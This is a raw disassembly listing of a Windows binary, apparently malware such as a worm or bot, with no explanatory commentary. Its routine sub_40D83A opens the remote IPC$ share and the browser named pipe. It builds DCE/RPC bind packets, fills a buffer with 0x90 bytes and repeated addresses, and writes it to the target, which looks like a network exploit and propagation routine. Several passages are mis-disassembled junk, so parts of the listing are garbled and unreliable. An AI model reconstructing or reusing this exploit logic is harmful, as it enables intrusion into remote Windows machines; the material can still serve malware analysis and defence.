push edi
sub eax, [esi+8]
cmp eax, [ebp+arg_0]
ja short loc_40D30B
call sub_4266C0
loc_40D30B: ; CODE XREF: sub_40D2F4+10j
cmp [ebp+arg_0], 0
jbe short loc_40D346
mov edi, [esi+8]
push 0
add edi, [ebp+arg_0]
mov ecx, esi
push edi
call sub_40D473
test al, al
jz short loc_40D346
movsx eax, [ebp+arg_4]
push [ebp+arg_0]
push eax
mov eax, [esi+4]
add eax, [esi+8]
push eax
call sub_41B780
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [edi+eax], 0
loc_40D346: ; CODE XREF: sub_40D2F4+1Bj
; sub_40D2F4+2Fj
mov eax, esi
pop edi
pop esi
pop ebp
retn 8
sub_40D2F4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D34E proc near ; CODE XREF: sub_40CEC7+132p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, ecx
or eax, 0FFFFFFFFh
push edi
sub eax, [esi+8]
cmp eax, [ebp+arg_4]
ja short loc_40D365
call sub_4266C0
loc_40D365: ; CODE XREF: sub_40D34E+10j
cmp [ebp+arg_4], 0
jbe short loc_40D39E
mov edi, [esi+8]
push 0
add edi, [ebp+arg_4]
mov ecx, esi
push edi
call sub_40D473
test al, al
jz short loc_40D39E
push [ebp+arg_4]
mov eax, [esi+8]
add eax, [esi+4]
push [ebp+arg_0]
push eax
call sub_41C500
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [edi+eax], 0
loc_40D39E: ; CODE XREF: sub_40D34E+1Bj
; sub_40D34E+2Fj
mov eax, esi
pop edi
pop esi
pop ebp
retn 8
sub_40D34E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D3A6 proc near ; CODE XREF: sub_40CEC7+179p
; sub_42671A+46p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
mov edi, ecx
cmp [ebx+8], eax
jnb short loc_40D3BE
call sub_4268EC
loc_40D3BE: ; CODE XREF: sub_40D3A6+11j
mov eax, [ebx+8]
mov ecx, [ebp+arg_4]
mov esi, eax
sub esi, ecx
cmp [ebp+arg_8], esi
jnb short loc_40D3D0
mov esi, [ebp+arg_8]
loc_40D3D0: ; CODE XREF: sub_40D3A6+25j
cmp edi, ebx
jnz short loc_40D3EE
add esi, ecx
push 0FFFFFFFFh
push esi
mov ecx, edi
call sub_40D566
push [ebp+arg_4]
mov ecx, edi
push 0
call sub_40D566
jmp short loc_40D46A
; ---------------------------------------------------------------------------
loc_40D3EE: ; CODE XREF: sub_40D3A6+2Cj
test esi, esi
jbe short loc_40D431
cmp esi, eax
jnz short loc_40D431
mov eax, [ebx+4]
test eax, eax
jnz short loc_40D402
mov eax, offset dword_4286A8
loc_40D402: ; CODE XREF: sub_40D3A6+55j
cmp byte ptr [eax-1], 0FEh
jnb short loc_40D431
push 1
mov ecx, edi
call sub_40D4F9
mov eax, [ebx+4]
test eax, eax
jnz short loc_40D41D
mov eax, offset dword_4286A8
loc_40D41D: ; CODE XREF: sub_40D3A6+70j
mov [edi+4], eax
mov ecx, [ebx+8]
mov [edi+8], ecx
mov ecx, [ebx+0Ch]
mov [edi+0Ch], ecx
inc byte ptr [eax-1]
jmp short loc_40D46A
; ---------------------------------------------------------------------------
loc_40D431: ; CODE XREF: sub_40D3A6+4Aj
; sub_40D3A6+4Ej ...
push 1
push esi
mov ecx, edi
call sub_40D473
test al, al
jz short loc_40D46A
mov eax, [ebp+arg_0]
mov eax, [eax+4]
test eax, eax
jnz short loc_40D44E
mov eax, offset dword_4286A8
loc_40D44E: ; CODE XREF: sub_40D3A6+A1j
mov ecx, [ebp+arg_4]
push esi
add eax, ecx
push eax
push dword ptr [edi+4]
call sub_41C500
mov eax, [edi+4]
add esp, 0Ch
mov [edi+8], esi
and byte ptr [esi+eax], 0
loc_40D46A: ; CODE XREF: sub_40D3A6+46j
; sub_40D3A6+89j ...
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_40D3A6 endp
; =============== S U B R O U T I N E =======================================
sub_40D473 proc near ; CODE XREF: sub_40CEC7+3Dp
; sub_40D2F4+28p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
cmp edi, 0FFFFFFFDh
jbe short loc_40D485
call sub_4266C0
loc_40D485: ; CODE XREF: sub_40D473+Bj
mov eax, [esi+4]
xor edx, edx
cmp eax, edx
jz short loc_40D4AD
mov cl, [eax-1]
cmp cl, dl
jz short loc_40D4AD
cmp cl, 0FFh
jz short loc_40D4AD
cmp edi, edx
mov ecx, esi
jnz short loc_40D4EC
dec byte ptr [eax-1]
push edx
loc_40D4A4: ; CODE XREF: sub_40D473+48j
call sub_40D4F9
loc_40D4A9: ; CODE XREF: sub_40D473+4Cj
; sub_40D473+53j
xor al, al
jmp short loc_40D4F4
; ---------------------------------------------------------------------------
loc_40D4AD: ; CODE XREF: sub_40D473+19j
; sub_40D473+20j ...
cmp edi, edx
jnz short loc_40D4C8
cmp [esp+8+arg_4], dl
jz short loc_40D4BD
push 1
mov ecx, esi
jmp short loc_40D4A4
; ---------------------------------------------------------------------------
loc_40D4BD: ; CODE XREF: sub_40D473+42j
cmp eax, edx
jz short loc_40D4A9
mov [esi+8], edx
mov [eax], dl
jmp short loc_40D4A9
; ---------------------------------------------------------------------------
loc_40D4C8: ; CODE XREF: sub_40D473+3Cj
cmp [esp+8+arg_4], dl
jz short loc_40D4E5
mov eax, [esi+0Ch]
cmp eax, 1Fh
ja short loc_40D4DA
cmp eax, edi
jnb short loc_40D4F2
loc_40D4DA: ; CODE XREF: sub_40D473+61j
push 1
mov ecx, esi
call sub_40D4F9
jmp short loc_40D4EA
; ---------------------------------------------------------------------------
loc_40D4E5: ; CODE XREF: sub_40D473+59j
cmp [esi+0Ch], edi
jnb short loc_40D4F2
loc_40D4EA: ; CODE XREF: sub_40D473+70j
mov ecx, esi
loc_40D4EC: ; CODE XREF: sub_40D473+2Bj
push edi
call sub_40D5CD
loc_40D4F2: ; CODE XREF: sub_40D473+65j
; sub_40D473+75j
mov al, 1
loc_40D4F4: ; CODE XREF: sub_40D473+38j
pop edi
pop esi
retn 8
sub_40D473 endp
; =============== S U B R O U T I N E =======================================
sub_40D4F9 proc near ; CODE XREF: sub_40CEC7+1Fp
; sub_40CEC7+16Bp ...
arg_0 = byte ptr 4
cmp [esp+arg_0], 0
push esi
mov esi, ecx
jz short loc_40D521
mov eax, [esi+4]
test eax, eax
jz short loc_40D521
dec eax
mov cl, [eax]
test cl, cl
jz short loc_40D51A
cmp cl, 0FFh
jz short loc_40D51A
dec byte ptr [eax]
jmp short loc_40D521
; ---------------------------------------------------------------------------
loc_40D51A: ; CODE XREF: sub_40D4F9+16j
; sub_40D4F9+1Bj
push eax
call sub_41CE73
pop ecx
loc_40D521: ; CODE XREF: sub_40D4F9+8j
; sub_40D4F9+Fj ...
and dword ptr [esi+4], 0
and dword ptr [esi+8], 0
and dword ptr [esi+0Ch], 0
pop esi
retn 4
sub_40D4F9 endp
; =============== S U B R O U T I N E =======================================
sub_40D531 proc near ; CODE XREF: seg000:0040D257p
; sub_40D68A+28p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov edi, [esp+8+arg_4]
push 1
push edi
mov esi, ecx
call sub_40D473
test al, al
jz short loc_40D55F
push edi
push [esp+0Ch+arg_0]
push dword ptr [esi+4]
call sub_41C500
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [edi+eax], 0
loc_40D55F: ; CODE XREF: sub_40D531+12j
mov eax, esi
pop edi
pop esi
retn 8
sub_40D531 endp
; =============== S U B R O U T I N E =======================================
sub_40D566 proc near ; CODE XREF: sub_40D3A6+35p
; sub_40D3A6+41p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, ecx
cmp [edi+8], esi
jnb short loc_40D579
call sub_4268EC
loc_40D579: ; CODE XREF: sub_40D566+Cj
mov ecx, edi
call sub_40D68A
mov eax, [edi+8]
mov ebx, [esp+0Ch+arg_4]
sub eax, esi
cmp eax, ebx
jnb short loc_40D58F
mov ebx, eax
loc_40D58F: ; CODE XREF: sub_40D566+25j
test ebx, ebx
jbe short loc_40D5C5
mov ecx, [edi+4]
sub eax, ebx
add ecx, esi
push eax
lea eax, [ecx+ebx]
push eax
push ecx
call sub_41CE80
mov esi, [edi+8]
add esp, 0Ch
sub esi, ebx
mov ecx, edi
push 0
push esi
call sub_40D473
test al, al
jz short loc_40D5C5
mov eax, [edi+4]
mov [edi+8], esi
and byte ptr [esi+eax], 0
loc_40D5C5: ; CODE XREF: sub_40D566+2Bj
; sub_40D566+53j
mov eax, edi
pop edi
pop esi
pop ebx
retn 8
sub_40D566 endp
; =============== S U B R O U T I N E =======================================
sub_40D5CD proc near ; CODE XREF: sub_40D473+7Ap
mov eax, offset loc_4270E4
call sub_41CE54
sub esp, 0Ch
push ebx
push esi
push edi
mov edi, [ebp+8]
or edi, 1Fh
mov esi, ecx
cmp edi, 0FFFFFFFDh
mov [ebp-10h], esp
mov [ebp-14h], esi
jbe short loc_40D5F3
mov edi, [ebp+8]
loc_40D5F3: ; CODE XREF: sub_40D5CD+21j
and dword ptr [ebp-4], 0
lea eax, [edi+2]
test eax, eax
jge short loc_40D600
xor eax, eax
loc_40D600: ; CODE XREF: sub_40D5CD+2Fj
push eax
call sub_41D1B5
pop ecx
mov [ebp+8], eax
jmp short loc_40D631
; ---------------------------------------------------------------------------
loc_40D60C: ; DATA XREF: seg001:00428FD4o
mov eax, [ebp+8]
mov [ebp-18h], eax
add eax, 2
test eax, eax
jge short loc_40D61B
xor eax, eax
loc_40D61B: ; CODE XREF: sub_40D5CD+4Aj
push eax
call sub_41D1B5
mov [ebp+8], eax
pop ecx
mov eax, offset loc_40D62B
retn
; ---------------------------------------------------------------------------
loc_40D62B: ; DATA XREF: sub_40D5CD+58o
mov esi, [ebp-14h]
mov edi, [ebp-18h]
loc_40D631: ; CODE XREF: sub_40D5CD+3Dj
mov eax, [esi+8]
test eax, eax
jbe short loc_40D64F
cmp eax, edi
jbe short loc_40D63E
mov eax, edi
loc_40D63E: ; CODE XREF: sub_40D5CD+6Dj
push eax
mov eax, [ebp+8]
push dword ptr [esi+4]
inc eax
push eax
call sub_41C500
add esp, 0Ch
loc_40D64F: ; CODE XREF: sub_40D5CD+69j
mov ebx, [esi+8]
push 1
mov ecx, esi
call sub_40D4F9
mov eax, [ebp+8]
inc eax
mov [esi+4], eax
and byte ptr [eax-1], 0
cmp ebx, edi
mov [esi+0Ch], edi
ja short loc_40D66F
mov edi, ebx
loc_40D66F: ; CODE XREF: sub_40D5CD+9Ej
mov eax, [esi+4]
mov ecx, [ebp-0Ch]
mov [esi+8], edi
and byte ptr [edi+eax], 0
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 4
sub_40D5CD endp
; =============== S U B R O U T I N E =======================================
sub_40D68A proc near ; CODE XREF: sub_40D566+15p
push esi
push edi
mov edi, ecx
mov esi, [edi+4]
test esi, esi
jz short loc_40D6B7
mov al, [esi-1]
test al, al
jz short loc_40D6B7
cmp al, 0FFh
jz short loc_40D6B7
push 1
call sub_40D4F9
push esi
call sub_41B1D0
pop ecx
push eax
push esi
mov ecx, edi
call sub_40D531
loc_40D6B7: ; CODE XREF: sub_40D68A+9j
; sub_40D68A+10j ...
pop edi
pop esi
retn
sub_40D68A endp
; =============== S U B R O U T I N E =======================================
sub_40D6BA proc near ; DATA XREF: seg002:0042A008o
test ds:byte_4DE1D4, 1
jnz short loc_40D6CA
or ds:byte_4DE1D4, 1
loc_40D6CA: ; CODE XREF: sub_40D6BA+7j
jmp $+5
push offset nullsub_1
call sub_41D230
pop ecx
retn
sub_40D6BA endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ebx, 8Bh
sub esp, 0BCh
lea esi, [ebp+8]
mov [ebp+0A8h], ebx
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40DD8F
push 2Fh
lea esi, [ebp+8]
pop ecx
mov [ebp+0A8h], ebx
mov edi, esp
rep movsd
call sub_40E27B
push 2Fh
lea esi, [ebp+8]
pop ecx
mov [ebp+0A8h], ebx
mov edi, esp
rep movsd
call sub_40E64C
add esp, 0BCh
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40D739 proc near ; DATA XREF: seg002:0042A00Co
jmp $+5
sub_40D739 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40D73E proc near
mov eax, ds:dword_433968
add eax, 6
mov ds:dword_4D0900, eax
retn
sub_40D73E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D74C proc near ; CODE XREF: sub_40D74C+D0p
; sub_40D83A+484p
var_74BF8B40 = dword ptr -74BF8B40h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_7 = byte ptr 0Fh
arg_C = word ptr 14h
arg_14 = dword ptr 1Ch
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = byte ptr 30h
arg_2B = byte ptr 33h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_28], 0
push ebx
push esi
push edi
jz short loc_40D760
or [ebp+arg_7], 1
jmp short loc_40D764
; ---------------------------------------------------------------------------
loc_40D760: ; CODE XREF: sub_40D74C+Cj
and [ebp+arg_7], 0FEh
loc_40D764: ; CODE XREF: sub_40D74C+12j
mov ecx, [ebp+arg_24]
mov ebx, [ebp+arg_20]
movzx eax, cx
lea edx, [ebx+18h]
cmp edx, eax
ja short loc_40D788
or [ebp+arg_7], 2
and [ebp+arg_2B], 0
lea eax, [ebx+18h]
mov [ebp+arg_14], ebx
mov [ebp+arg_C], ax
jmp short loc_40D79A
; ---------------------------------------------------------------------------
loc_40D788: ; CODE XREF: sub_40D74C+26j
add eax, 0FFFFFFE8h
and [ebp+arg_7], 0FDh
mov [ebp+arg_C], cx
mov [ebp+arg_14], eax
mov [ebp+arg_2B], 1
loc_40D79A: ; CODE XREF: sub_40D74C+3Aj
movzx eax, [ebp+arg_C]
push eax
mov [ebp+var_4], eax
call sub_41B6C5
test eax, eax
pop ecx
mov [ebp+arg_20], eax
jz loc_40D833
push 6
lea esi, [ebp+arg_4]
pop ecx
mov edi, eax
rep movsd
mov edi, [ebp+arg_14]
mov esi, [ebp+arg_1C]
push edi
add eax, 18h
push esi
push eax
call sub_41C500
add esp, 0Ch
lea eax, [ebp+var_8]
push 0
push eax
push [ebp+var_4]
push [ebp+arg_20]
push [ebp+arg_0]
call near ptr 0B10000h
or eax, [ebp+var_74BF8B40]
inc ebp
cld
cmp [ebp+var_8], eax
jnz short loc_40D82A
push [ebp+arg_20]
call sub_41B2A1
cmp [ebp+arg_2B], 0
pop ecx
jz short loc_40D826
push 0
sub ebx, edi
push [ebp+arg_24]
add edi, esi
lea esi, [ebp+arg_4]
push ebx
push edi
sub esp, 18h
push 6
pop ecx
mov edi, esp
push [ebp+arg_0]
rep movsd
call sub_40D74C
add esp, 2Ch
jmp short loc_40D835
; ---------------------------------------------------------------------------
loc_40D826: ; CODE XREF: sub_40D74C+B3j
mov al, 1
jmp short loc_40D835
; ---------------------------------------------------------------------------
loc_40D82A: ; CODE XREF: sub_40D74C+A4j
push [ebp+arg_20]
call sub_41B2A1
pop ecx
loc_40D833: ; CODE XREF: sub_40D74C+61j
xor al, al
loc_40D835: ; CODE XREF: sub_40D74C+D8j
; sub_40D74C+DCj
pop edi
pop esi
pop ebx
leave
retn
sub_40D74C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D83A proc near ; CODE XREF: sub_40DD8F+15p
; sub_40DD8F+3Cp
var_60E0 = byte ptr -60E0h
var_40E0 = byte ptr -40E0h
var_20E0 = byte ptr -20E0h
var_E0 = byte ptr -0E0h
var_CC = dword ptr -0CCh
var_C0 = byte ptr -0C0h
var_BC = byte ptr -0BCh
var_BB = byte ptr -0BBh
var_BA = byte ptr -0BAh
var_B9 = byte ptr -0B9h
var_B8 = dword ptr -0B8h
var_B4 = word ptr -0B4h
var_B2 = word ptr -0B2h
var_B0 = dword ptr -0B0h
var_AC = word ptr -0ACh
var_AA = word ptr -0AAh
var_A8 = dword ptr -0A8h
var_A4 = dword ptr -0A4h
var_A0 = word ptr -0A0h
var_9E = byte ptr -9Eh
var_9C = byte ptr -9Ch
var_8C = dword ptr -8Ch
var_88 = byte ptr -88h
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = word ptr -64h
var_60 = byte ptr -60h
var_54 = qword ptr -54h
var_4C = byte ptr -4Ch
var_4B = byte ptr -4Bh
var_4A = byte ptr -4Ah
var_49 = byte ptr -49h
var_48 = dword ptr -48h
var_42 = word ptr -42h
var_40 = dword ptr -40h
var_38 = word ptr -38h
var_36 = word ptr -36h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_14 = qword ptr -14h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = byte ptr 8
arg_4 = byte ptr 0Ch
arg_A8 = dword ptr 0B0h
arg_BC = dword ptr 0C4h
push ebp
mov ebp, esp
mov eax, 60E0h
call sub_41BD10
push ebx
push esi
push edi
lea eax, [ebp+arg_4]
push offset a_ ; "."
push eax
call sub_41D350
pop ecx
xor ebx, ebx
test eax, eax
pop ecx
mov esi, 2000h
jz short loc_40D8AE
lea eax, [ebp+arg_4]
push eax
push offset aSIpc ; "\\\\%s\\ipc$"
lea eax, [ebp+var_20E0]
push esi
push eax
call sub_41BB70
push 20h
lea eax, [ebp+var_E0]
push ebx
push eax
call sub_41B780
lea eax, [ebp+var_20E0]
add esp, 1Ch
mov [ebp+var_CC], eax
mov eax, offset dword_43FDB4
push ebx
push eax
push eax
lea eax, [ebp+var_E0]
push eax
call ds:dword_4CDCA0
loc_40D8AE: ; CODE XREF: sub_40D83A+29j
lea eax, [ebp+arg_4]
push eax
push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
lea eax, [ebp+var_40E0]
push esi
push eax
call sub_41BB70
add esp, 10h
lea eax, [ebp+var_40E0]
push ebx
push 40000000h
push 3
push ebx
push 3
push 0C0000000h
push eax
call ds:dword_4280EC ; CreateFileA
cmp eax, 0FFFFFFFFh
mov [ebp+var_8], eax
jnz short loc_40D8F3
loc_40D8EC: ; CODE XREF: sub_40D83A+266j
; sub_40D83A+371j ...
xor eax, eax
jmp loc_40DD8A
; ---------------------------------------------------------------------------
loc_40D8F3: ; CODE XREF: sub_40D83A+B0j
push 48h
lea eax, [ebp+var_BC]
push ebx
push eax
call sub_41B780
push 10h
xor edi, edi
pop eax
inc edi
mov [ebp+var_B8], eax
push eax
lea eax, [ebp+var_9C]
push offset dword_4339BC
push eax
mov [ebp+var_BC], 5
mov [ebp+var_BB], bl
mov [ebp+var_BA], 0Bh
mov [ebp+var_B9], 3
mov [ebp+var_B4], 48h
mov [ebp+var_B2], bx
mov [ebp+var_B0], ebx
mov [ebp+var_AC], 10B8h
mov [ebp+var_AA], 10B8h
mov [ebp+var_A8], ebx
mov [ebp+var_A4], edi
mov [ebp+var_A0], bx
mov [ebp+var_9E], 1
call sub_41C500
push 10h
lea eax, [ebp+var_88]
push offset dword_4339A8
push eax
mov [ebp+var_8C], 3
call sub_41C500
add esp, 24h
lea eax, [ebp+var_C0]
mov [ebp+var_78], 2
push ebx
push eax
lea eax, [ebp+var_BC]
push 48h
push eax
push [ebp+var_8]
call near ptr 0B10000h
pop ss
test eax, eax
jz loc_40DA97
lea eax, [ebp+var_18]
push ebx
push eax
lea eax, [ebp+var_60E0]
push esi
push eax
push [ebp+var_8]
call ds:dword_4280E8 ; ReadFile
push ebx
call sub_41D271
; ---------------------------------------------------------------------------
push eax
call sub_41BAC8
push 14h
lea eax, [ebp+var_74]
push 41h
push eax
call sub_41B780
push 1Ch
lea eax, [ebp+var_34]
push 41h
push eax
call sub_41B780
add esp, 20h
call sub_41BAD2
mov esi, [ebp+arg_BC]
mov [ebp+var_74], eax
mov [ebp+var_68], edi
mov [ebp+var_6C], ebx
lea esi, [esi+esi*4]
mov [ebp+var_70], edi
shl esi, 2
mov [ebp+var_64], bx
mov [ebp+var_2C], ebx
cmp ds:byte_433950[esi], bl
jz short loc_40DA40
push 4
mov [ebp+var_28], edi
mov [ebp+var_30], edi
push offset dword_4D0904
jmp short loc_40DA50
; ---------------------------------------------------------------------------
loc_40DA40: ; CODE XREF: sub_40D83A+1F5j
push 2
pop eax
push 4
mov [ebp+var_28], eax
mov [ebp+var_30], eax
push (offset loc_43399F+1)
loc_40DA50: ; CODE XREF: sub_40D83A+204j
lea eax, [ebp+var_24]
push eax
call sub_41C500
add esp, 0Ch
call sub_41BAD2
mov edi, 0FAh
cdq
mov ecx, edi
idiv ecx
inc edx
mov [ebp+var_34], edx
call sub_41BAD2
cdq
idiv edi
mov eax, ds:dword_433944[esi]
mov [ebp+var_1C], ebx
push eax
mov [ebp+arg_BC], eax
inc edx
mov [ebp+var_20], edx
call sub_41B6C5
mov edi, eax
pop ecx
cmp edi, ebx
jnz short loc_40DAA5
loc_40DA97: ; CODE XREF: sub_40D83A+186j
push [ebp+var_8]
call ds:dword_42806C ; CloseHandle
jmp loc_40D8EC
; ---------------------------------------------------------------------------
loc_40DAA5: ; CODE XREF: sub_40D83A+25Bj
mov eax, [ebp+arg_BC]
add eax, 0FFFFFFFEh
push eax
push 90h
push edi
call sub_41B780
mov eax, [ebp+arg_BC]
push 2
push ebx
lea eax, [edi+eax-2]
push eax
call sub_41B780
mov eax, ds:dword_43394C[esi]
push 7
add eax, edi
push offset dword_433938
push eax
mov [ebp+var_4], eax
call sub_41C500
mov eax, [ebp+var_4]
push 15Ch
add eax, 7
push offset dword_4337D8
push eax
call sub_41C500
mov eax, ds:dword_433948[esi]
add esp, 30h
mov [ebp+var_4], eax
add eax, edi
cmp ds:byte_433950[esi], bl
jz short loc_40DB5C
push 4
push offset dword_4D0900
push eax
call sub_41C500
add [ebp+var_4], 0Ch
mov esi, offset dword_433968
mov eax, [ebp+var_4]
push 4
add eax, edi
push esi
push eax
call sub_41C500
mov eax, [ebp+var_4]
push 4
push esi
lea eax, [eax+edi+24h]
push eax
mov [ebp+var_4], eax
call sub_41C500
mov eax, [ebp+var_4]
push 4
add eax, 0Ch
push esi
push eax
call sub_41C500
add esp, 30h
jmp short loc_40DB82
; ---------------------------------------------------------------------------
loc_40DB5C: ; CODE XREF: sub_40D83A+2D5j
mov [ebp+var_4], eax
mov [ebp+var_C], 10h
mov esi, offset dword_433968
loc_40DB6B: ; CODE XREF: sub_40D83A+346j
push 4
push esi
push [ebp+var_4]
call sub_41C500
add [ebp+var_4], 4
add esp, 0Ch
dec [ebp+var_C]
jnz short loc_40DB6B
loc_40DB82: ; CODE XREF: sub_40D83A+320j
mov eax, [ebp+arg_BC]
add eax, 42h
push eax
call sub_41B6C5
mov esi, eax
pop ecx
cmp esi, ebx
mov [ebp+var_C], esi
jnz short loc_40DBB0
push [ebp+var_8]
call ds:dword_42806C ; CloseHandle
push edi
call sub_41B2A1
pop ecx
jmp loc_40D8EC
; ---------------------------------------------------------------------------
loc_40DBB0: ; CODE XREF: sub_40D83A+35Fj
mov eax, [ebp+arg_BC]
add eax, 42h
push eax
push ebx ; double
push esi
call sub_41B780
lea eax, [ebp+var_74]
push 14h
push eax
push esi
call sub_41C500
mov eax, [ebp+arg_BC]
mov dword ptr [ebp+var_14+4], ebx
mov dword ptr [ebp+var_14], eax
add esp, 10h
fild [ebp+var_14]
fmul ds:flt_4286AC
fstp qword ptr [esp+64h+var_64]
call sub_41C9AF
call sub_41C988
push [ebp+arg_BC]
mov [esi+1Ch], eax
mov [esi+14h], eax
lea eax, [esi+20h]
push edi
push eax
mov [esi+18h], ebx
call sub_41C500
mov eax, [ebp+arg_BC]
add esp, 14h
add eax, 20h
test al, 3
mov [ebp+var_4], eax
jz short loc_40DC26
loc_40DC1E: ; CODE XREF: sub_40D83A+3E7j
inc eax
test al, 3
jnz short loc_40DC1E
mov [ebp+var_4], eax
loc_40DC26: ; CODE XREF: sub_40D83A+3E2j
lea ecx, [ebp+var_34]
push 1Ch
add eax, esi
push ecx
push eax
call sub_41C500
add [ebp+var_4], 1Ch
push edi
call sub_41B2A1
push 18h
lea eax, [ebp+var_4C]
push ebx
push eax
call sub_41B780
push 14h
lea eax, [ebp+var_60]
push ebx
push eax
mov [ebp+var_4C], 5
mov [ebp+var_4B], bl
mov [ebp+var_4A], bl
mov [ebp+var_49], 3
mov [ebp+var_48], 10h
mov [ebp+var_42], bx
mov [ebp+var_40], ebx
mov [ebp+var_38], bx
mov [ebp+var_36], 1Fh
call sub_41B780
add esp, 28h
push ebx
push ebx
push 1
push ebx
call near ptr 0B10000h
sub cl, [ecx-62774FBBh]
mov dword ptr [eax], 5D890000h
lock cmp dword ptr [ebp+var_14+4], 2 ; CODE XREF: sub_40D83A+51Ej
jge loc_40DD63
push 1
push 10B8h
push [ebp+var_4]
inc dword ptr [ebp+var_14+4]
push esi
lea esi, [ebp+var_4C]
sub esp, 18h
push 6
pop ecx
mov edi, esp
push [ebp+var_8]
rep movsd
call sub_40D74C
add esp, 2Ch
test al, al
jz loc_40DD60
cmp dword ptr [ebp+var_54+4], ebx
jz short loc_40DD4F
lea eax, [ebp+var_60]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_60E0]
push 2000h
push eax
push [ebp+var_8]
call ds:dword_4280E8 ; ReadFile
test eax, eax
jnz short loc_40DD05
call ds:dword_42808C ; RtlGetLastWin32Error
cmp eax, 3E5h
jnz loc_40D8EC
loc_40DD05: ; CODE XREF: sub_40D83A+4B8j
push 3E8h
push dword ptr [ebp+var_54+4]
call near ptr 0B10000h
out 3Dh, eax
add al, [ecx]
; ---------------------------------------------------------------------------
dw 0
; ---------------------------------------------------------------------------
jnz short loc_40DD4F
push 65h
lea esi, [ebp+arg_0]
sub esp, 0BCh
mov byte ptr [ebp+arg_BC+3], 1
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40E2E5
mov eax, [ebp+arg_A8]
add esp, 0C0h
shl eax, 6
lea eax, dword_432A98[eax]
inc dword ptr [eax]
loc_40DD4F: ; CODE XREF: sub_40D83A+497j
; sub_40D83A+4DEj
cmp byte ptr [ebp+arg_BC+3], bl
mov esi, [ebp+var_C]
jz near ptr loc_40DC95+1
jmp short loc_40DD63
; ---------------------------------------------------------------------------
loc_40DD60: ; CODE XREF: sub_40D83A+48Ej
mov esi, [ebp+var_C]
loc_40DD63: ; CODE XREF: sub_40D83A+460j
; sub_40D83A+524j
push [ebp+var_8]
mov edi, ds:dword_42806C
call edi ; CloseHandle
push esi
call sub_41B2A1
cmp dword ptr [ebp+var_54+4], ebx
pop ecx
jz short loc_40DD7F
push dword ptr [ebp+var_54+4]
call edi ; CloseHandle
loc_40DD7F: ; CODE XREF: sub_40D83A+53Ej
xor eax, eax
cmp byte ptr [ebp+arg_BC+3], bl
setnz al
loc_40DD8A: ; CODE XREF: sub_40D83A+B4j
pop edi
pop esi
pop ebx
leave
retn
sub_40D83A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40DD8F proc near ; CODE XREF: seg000:0040D6FCp
arg_0 = byte ptr 4
push esi
push edi
push 0
lea esi, [esp+0Ch+arg_0]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40D83A
add esp, 0C0h
test eax, eax
jz short loc_40DDB8
xor eax, eax
inc eax
jmp short loc_40DDDC
; ---------------------------------------------------------------------------
loc_40DDB8: ; CODE XREF: sub_40DD8F+22j
push 1
lea esi, [esp+0Ch+arg_0]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40D83A
add esp, 0C0h
neg eax
sbb eax, eax
neg eax
loc_40DDDC: ; CODE XREF: sub_40DD8F+27j
pop edi
pop esi
retn
sub_40DD8F endp
; =============== S U B R O U T I N E =======================================
sub_40DDDF proc near ; CODE XREF: sub_40E27B+35p
var_230 = byte ptr -230h
var_210 = byte ptr -210h
var_1F0 = byte ptr -1F0h
var_1D0 = byte ptr -1D0h
var_1B0 = byte ptr -1B0h
var_190 = byte ptr -190h
var_170 = byte ptr -170h
var_150 = byte ptr -150h
var_130 = byte ptr -130h
var_110 = byte ptr -110h
var_F0 = byte ptr -0F0h
var_D0 = byte ptr -0D0h
var_B0 = byte ptr -0B0h
var_90 = byte ptr -90h
var_70 = byte ptr -70h
var_50 = byte ptr -50h
var_30 = byte ptr -30h
var_20 = dword ptr -20h
var_10 = byte ptr -10h
var_E = word ptr -0Eh
var_8 = dword ptr -8
arg_136F8 = byte ptr 136FCh
arg_13720 = dword ptr 13724h
arg_13864 = byte ptr 13868h
arg_1388C = byte ptr 13890h
arg_13924 = dword ptr 13928h
mov eax, 13894h
call sub_41BD10
push ebx
push ebp
push esi
push edi
xor edi, edi
push edi
push 1
push 2
